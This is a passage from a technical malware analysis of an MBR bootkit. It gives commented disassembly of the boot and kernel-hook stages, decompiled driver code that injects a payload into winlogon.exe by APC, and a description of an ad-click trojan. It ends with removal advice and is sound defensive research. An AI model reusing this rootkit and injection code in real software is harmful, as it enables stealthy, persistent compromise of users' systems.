"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,310,784, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 0, Length: 512"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,311,296, Length: 32,768"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,387,584, Length: 9,216"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,396,800, Length: 25,088"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,421,888, Length: 31,232"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,310,272, Length: 512"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 3,216,453,120, Length: 512"
"CloseFile",  "\Device\Harddisk0\DR0"

The bootkit’s booting sector defines the location of this unlabelled area while reading the MBR-located partition table. Then the bootkit reads the 64 sectors with all the other components of the bootkit.

seg000:001F                 xor     eax, eax
seg000:0022                 mov     si, 7BEh      ; si – pointer to partition table
seg000:0025                 mov     cl, 4         ; Amount of records in partition table
                
                            ...
seg000:0031 loc_31:
seg000:0031                 cmp     [si+8], eax
seg000:0035                 jb      short loc_3F
seg000:0037                 mov     eax, [si+8]   ; Set number of first sector of partition to eax
seg000:003B                 add     eax, [si+0Ch] ; Summarize it with partition’s size in sectors
seg000:003F loc_3F:
seg000:003F                 add     si, 10h
seg000:0042                 loop    loc_31        ; Go to a next record in partition table
seg000:0044                 or      eax, eax
seg000:0047                 jz      short loc_5F
seg000:0049                 add     eax, 2        ; Sector where reading should be started
seg000:004D                 mov     cx, 40h       ; Amount of sectors being read
seg000:0050                 mov     bx, 7C00h     ; Memory address to write data being read
seg000:0053                 call    sub_A1        ; Function that reads data with 13h interrupt (AH=42h);
seg000:0056                 jb      short loc_5F
seg000:0058                 nop
seg000:0059                 nop
seg000:005A                 jmp     far ptr 0:7C00h ; Transfer control to read code

Then the bootkit performs a series of standard actions that were described in the analysis of the previous 2 malicious programs:

  1. Reservation of 4 kB in the base memory.
  2. Interception of the 13h interrupt.
  3. Signature search and modification of the OSLOADER.EXE code in int 13h handler.
  4. Reading and execution of the boot code of the system partition.

Protected mode code

Next, we will examine the bootkit’s protected mode code called from the modified OSLOADER.EXE module.

The bootkit’s protected mode code initializes the kernel mode driver loader. The following operations are performed for this purpose:

  1. Signature analysis of the nt!Phase1Initialization() function and detection of the nt!IoInitSystem() function entry point.
  2. Replacement of the nt!IoInitSystem() call with bootkit’s driver loader call
  3. Copying the loader code into the area of memory right after the OS kernel.

Address of _BlLoaderBlock structure, which contains a pointer to the list of loaded modules, is spotted by signature in the OSLOADER.EXE code.

seg001:000069D4                 sub     dword ptr [esp], 6
seg001:000069D8                 call    sub_6BB4           ; Get driver loader address 
                                                           ; (is saved in esi)
seg001:000069DD                 mov     ecx, 6
seg001:000069E2                 rep movsb
seg001:000069E4                 sub     esi, 6
seg001:000069E7                 mov     edi, [esp+2Ch]
seg001:000069EB                 and     edi, 0FFF00000h
seg001:000069F1                 mov     al, 0C7h           ; Signature search for _BlLoaderBlock
seg001:000069F3 loc_69F3:
seg001:000069F3                 scasb
seg001:000069F4                 jnz     short loc_69F3
seg001:000069F6                 cmp     dword ptr [edi], 40003446h
seg001:000069FC                 jnz     short loc_69F3
seg001:000069FE loc_69FE:
seg001:000069FE                 mov     al, 0A1h
seg001:00006A00                 scasb
seg001:00006A01                 jnz     short loc_69FE
seg001:00006A03                 mov     eax, [edi]         ; eax – pointer to _BlLoaderBlock
seg001:00006A05                 mov     eax, [eax]
seg001:00006A07                 mov     eax, [eax]         ; eax - _LDR_DATA_TABLE_ENTRY for a kernel
seg001:00006A09                 mov     edi, [eax+18h]     ; edi – kernel loadind address
seg001:00006A0C                 mov     ecx, [edi+3Ch]
seg001:00006A0F                 mov     ecx, [ecx+edi+50h] ; ecx – size of kernel image (SizeOfImage)
seg001:00006A13                 call    sub_6B3D           ; Search for nt!IoInitSystem() call in nt!Phase1Initialization() code
                                                           ; (is saved in edx)
seg001:00006A18                 jnz     short loc_6A66
seg001:00006A1A                 mov     edx, [ebx]         ; Relocation of original instruction call nt!IoInitSystem()
seg001:00006A1C                 lea     edx, [ebx+edx+4]
seg001:00006A20                 mov     [esi+0Ah], edx
seg001:00006A23                 add     edi, ecx
seg001:00006A25                 jmp     short loc_6A36

                                ...
seg001:00006A36 loc_6A36:
seg001:00006A36                 add     edi, 0FFFh
seg001:00006A3C                 and     edi, 0FFFFF000h
seg001:00006A42                 sub     edi, 800h
seg001:00006A48                 mov     ecx, 6A3h
seg001:00006A4D                 push    edi
seg001:00006A4E                 rep movsb                  ; Copying driver loader to the area of memory right after OS kernel
seg001:00006A50                 pop     edi
seg001:00006A51                 add     edi, 0Eh
seg001:00006A54                 sub     edi, ebx
seg001:00006A56                 sub     edi, 4
seg001:00006A59                 mov     [ebx], edi         ; Modification of nt!IoInitSystem() call
seg001:00006A5B                 xchg    esi, edi
seg001:00006A5D                 mov     ecx, 644h
seg001:00006A62                 sub     edi, ecx
seg001:00006A64                 rep stosb

The previous listing contains an algorithm for the installation of IoInitSystem() function hook. Let’s take a closer look at the interception itself.

The code of the nt!Phase1Initialization() function before the modification:

nt!Phase1Initialization+0x9a1:
80685fc9 6a4b            push    4Bh
80685fcb 6a19            push    19h
80685fcd e83877e6ff      call    nt!InbvSetProgressBarSubset
80685fd2 ffb590fbffff    push    dword ptr [ebp-470h]
80685fd8 e859140000      call    nt!IoInitSystem
80685fdd 84c0            test    al,al

The code of the nt!Phase1Initialization() function after the modification:

nt!Phase1Initialization+0x9a1:
80685fc9 6a4b            push    4Bh
80685fcb 6a19            push    19h
80685fcd e83877e6ff      call    nt!InbvSetProgressBarSubset
80685fd2 ffb590fbffff    push    dword ptr [ebp-470h]
80685fd8 e831980400      call    806cf80e
80685fdd 84c0            test    al,al

Driver loader

The kernel mode driver loader performs the following operations:

  1. Restores the original nt!IoInitSystem() call in a code of nt!Phase1Initialization() function.
  2. Calls nt!IoInitSystem() with repeated transfer of control to the driver loader via a replaced return address in a stack.
  3. Searches for the OS kernel load address by a first vector in the interrupt table. The address of this table is obtained by using the sidt instruction.
  4. Searches by signature for the address of the kernel global variable nt!PsLoadedModuleList – a list of kernel mode loaded modules. Particularly, the nt!PsLoadedModuleList address is obtained from a pointer to this variable in the code of non-exported function nt!IopWriteDriverList().
  5. Looks up the following exported functions and kernel variables addresses by hashes of their name: ExAllocatePool, ExFreePool, KeLoaderBlock, NtClose, NtCreateFile, NtReadFile.
  6. Reads the kernel mode driver from the unlabeled area at the end of a disk.
  7. Sets up an executable driver image and transfers control to its entry point.
  8. Returns control to nt!Phase1Initialization().

Driver and payload

The bootkit’s driver is used for the injection of user-mode code into the winlogon.exe process. For this purpose it creates a system thread which polls the process list in a cycle, analyzing two-linked lists of the _EPROCESS kernel and looking for the required process by the name of the executable file. Offsets of the required fields for the _EPROCESS and _ETHREAD structures are stored in global variables with the values being initialized according to the version of the operating system kernel. The value of the kernel version can be obtained with PsGetVersion/RtlGetVersion functions. Here you can see the pseudocode of a function, which searches the process by name.

// function, which searches process by name (returns pointers to _EPROCESS and _ETHREAD)
  signed int __stdcall sub_113EC(const char *ProcessName, int a2, int a3)
  {
      int ProcessEntry; // esi@1
      PEPROCESS CurrentProcess; // eax@1
      int ThreadListStart; // edi@8
      int ThreadEntry; // esi@8
      int Thread; // eax@9
      unsigned int Teb; // eax@12
      int ProcessListStart; // [sp+18h] [bp+Ch]@1

      *(_DWORD *)a2 = 0;
      *(_DWORD *)a3 = 0;

      // gets pointer to a list of active processes from _EPROCESS structure of current process
      CurrentProcess = IoGetCurrentProcess();
      ProcessEntry = (int)((char *)CurrentProcess + EPROCESS_ActiveProcessLinks);
      ProcessListStart = (int)((char *)CurrentProcess + EPROCESS_ActiveProcessLinks);

      // lists all active processes and searches necessary executable file by name
      while (!*(_BYTE *)(ProcessEntry + EPROCESS_ImageFileName) ||
             stricmp(ProcessName, (const char *)(ProcessEntry + EPROCESS_ImageFileName)))
      {
          ProcessEntry = *(_DWORD *)ProcessEntry;
          if (ProcessListStart == ProcessEntry)
          {
              // last record in a list (necessary process is not found)
              goto LABEL_7;
          }
      }

      *(_DWORD *)a2 = ProcessEntry - EPROCESS_ActiveProcessLinks;

  LABEL_7:
      if (*(_DWORD *)a2)
      {
          // gets a pointer to the list of threads of found process
          ThreadEntry = *(_DWORD *)(EPROCESS_ThreadListHead + ProcessEntry);
          ThreadListStart = ThreadEntry;

          // lists all process threads
          do
          {
              Thread = ThreadEntry - ETHREAD_ThreadListEntry;
              *(_DWORD *)a3 = ThreadEntry - ETHREAD_ThreadListEntry;
              if (byte_136C0)
              {
                 // checks integrity of thread environment block (_TEB)
                 Teb = *(_DWORD *)(Thread + 0x20);
                 if (Teb && Teb < (unsigned int)MmSystemRangeStart)
                     return 1;
              }
              else
              {
                  // thread should be system thread
                  if (!PsIsSystemThread(Thread))
                      return 1;
              }
              ThreadEntry = *(_DWORD *)ThreadEntry;
          }
          while (ThreadEntry != ThreadListStart);
      }

      return 0;
  }

After getting the pointers to the necessary process and its valid thread, the kernel mode driver reads the trojan’s user mode code from the unlabeled area of a disk and injects it in the winlogon.exe process.

signed int __stdcall sub_114B2(int Thread, int Process)
{
    signed int result; // eax@2
    char Apc; // [sp+4h] [bp-68h]@8
    char ApcState; // [sp+34h] [bp-38h]@7
    LARGE_INTEGER Timeout; // [sp+4Ch] [bp-20h]@9
    int v7; // [sp+54h] [bp-18h]@5
    void *Payload; // [sp+58h] [bp-14h]@4
    ULONG AllocationSize; // [sp+5Ch] [bp-10h]@4
    PVOID BaseAddress; // [sp+60h] [bp-Ch]@1
    HANDLE EventHandle; // [sp+64h] [bp-8h]@1
    HANDLE Handle; // [sp+68h] [bp-4h]@1

    BaseAddress = 0;
    EventHandle = 0;
    Handle = 0;

    // gets process descriptor by pointer to _EPROCESS
    if (ObOpenObjectByPointer(Process, 512, 0, 0, PsProcessType, 0, &Handle) < 0)
        return 0;
    
    if (byte_13709 == 4)
    {
        // reads user- operating mode code from disk
        if (sub_11ACE(FileHandle, dword_136CC, &byte_1370A, (int)&Payload, (int)&AllocationSize) != 2)
        {
            ZwClose(Handle);
            return 0;
        }
    }
    else
    {
        AllocationSize = 1700;
        Payload = &unk_13000;
    }

    v7 = 0x24Eu;
    // allocates virtual memory in process’ address space
    if (ZwAllocateVirtualMemory(Handle, &BaseAddress, 0, &AllocationSize, 4096u, 64u) < 0 ||
        ZwAllocateVirtualMemory(Handle, &BaseAddress, 0, (PULONG)&v7, 0x1000u, 04u) < 0)
    {
         ZwClose(Handle);
         result = 0;
    }
    else
    {
        ZwClose(Handle);

        // connects to address space of target process
        KeStackAttachProcess(Process, &ApcState);
        if (ZwCreateEvent(&EventHandle, 0x1F0003u, 0, SynchronizationEvent, 0) >= 0)
        {
            dword_13704 = (int)EventHandle;
            dword_1380E = 0;
            dword_1392A = 0;
            dword_1392E = 0;

            memcpy(BaseAddress, Payload, AllocationSize);
            memcpy(BaseAddress, &unk_13700, 0x24Cu);
            *((_WORD *)BaseAddress + 294) = *((_WORD *)&unk_13700 + 294);

            // initializes APC for current thread of target process
            KeInitializeApc(&Apc, Thread, 2, sub_11498, 0, BaseAddress, 1, 0);
            
            // launches APC and executes injected code
            if ((unsigned __int8)KeInsertQueueApc(&Apc, 0, 0, 0))
            {
                // Sets KTHREAD::ApcState.UserApcPending to TRUE
                *(_BYTE *)(KTHREAD_ApcState + Thread + 0x16) = 1;
                Timeout.HighPart = -1;
                Timeout.LowPart = -300000000;

                // waits for APC completion
                ZwWaitForSingleObject(EventHandle, 0, &Timeout);
            }

            // disconnects from address space of target process
            KeUnstackDetachProcess(&ApcState);
        }

        if (EventHandle)
            ZwClose(EventHandle);

        result = 1;
    }

    return result;
}

The user mode code launches the trojan process with the payload. The corresponding module is stored in the C:System Volume InformationMicrosoftservices.exe file, which is created by installer at the bootkit’s installation.

Троянский процесс, в свою очередь, является «кликером»: после запроса конфигурации с сайта www.weathertalkz.com он осуществляет множественные переходы по рекламным баннерам в контексте процесса браузера Internet Explorer, работающего со скрытым окном.

In turn, the Trojan process works like a “clicker”: it requests configuration information from the www.weathertalkz.com website and then performs multiple jumps to Ad banners in the Internet Explorer process within a hidden window.

Fig. 14. Requests for configuration information from www.weathertalkz.com.

Fig. 14. Requests for configuration information from www.weathertalkz.com.

Conclusion

The increased development of malicious bootkits seems to point to the fact that malware developers are coming to the end of the road when it comes to traditional methods of malicious code startup. The MBR infecting technique is still rarely detected and disinfected by antivirus software, and is thus extremely attractive to malware developers.

The good news is that the current bootkits that can be found in-the-wild are quite limited when it comes to their self-protection capabilities. It means that a typical malicious bootkit can still be removed by simply restoring the original MBR. This can be achieved by using the standard Microsoft tool ‘fixmbr’ or, alternatively, ‘Bootkit Remover’, which can also detect changed or hidden MBR code , and dump it.

About the author

Dmitry Oleksyuk is a system architect with eSage Lab. He specializes in kernel mode development and advanced anti-malware techniques. Dmitry is the main developer of TDSS Remover, Bootkit Remover and IOCTL Fuzzer tools.

Last updated: 17.03.2012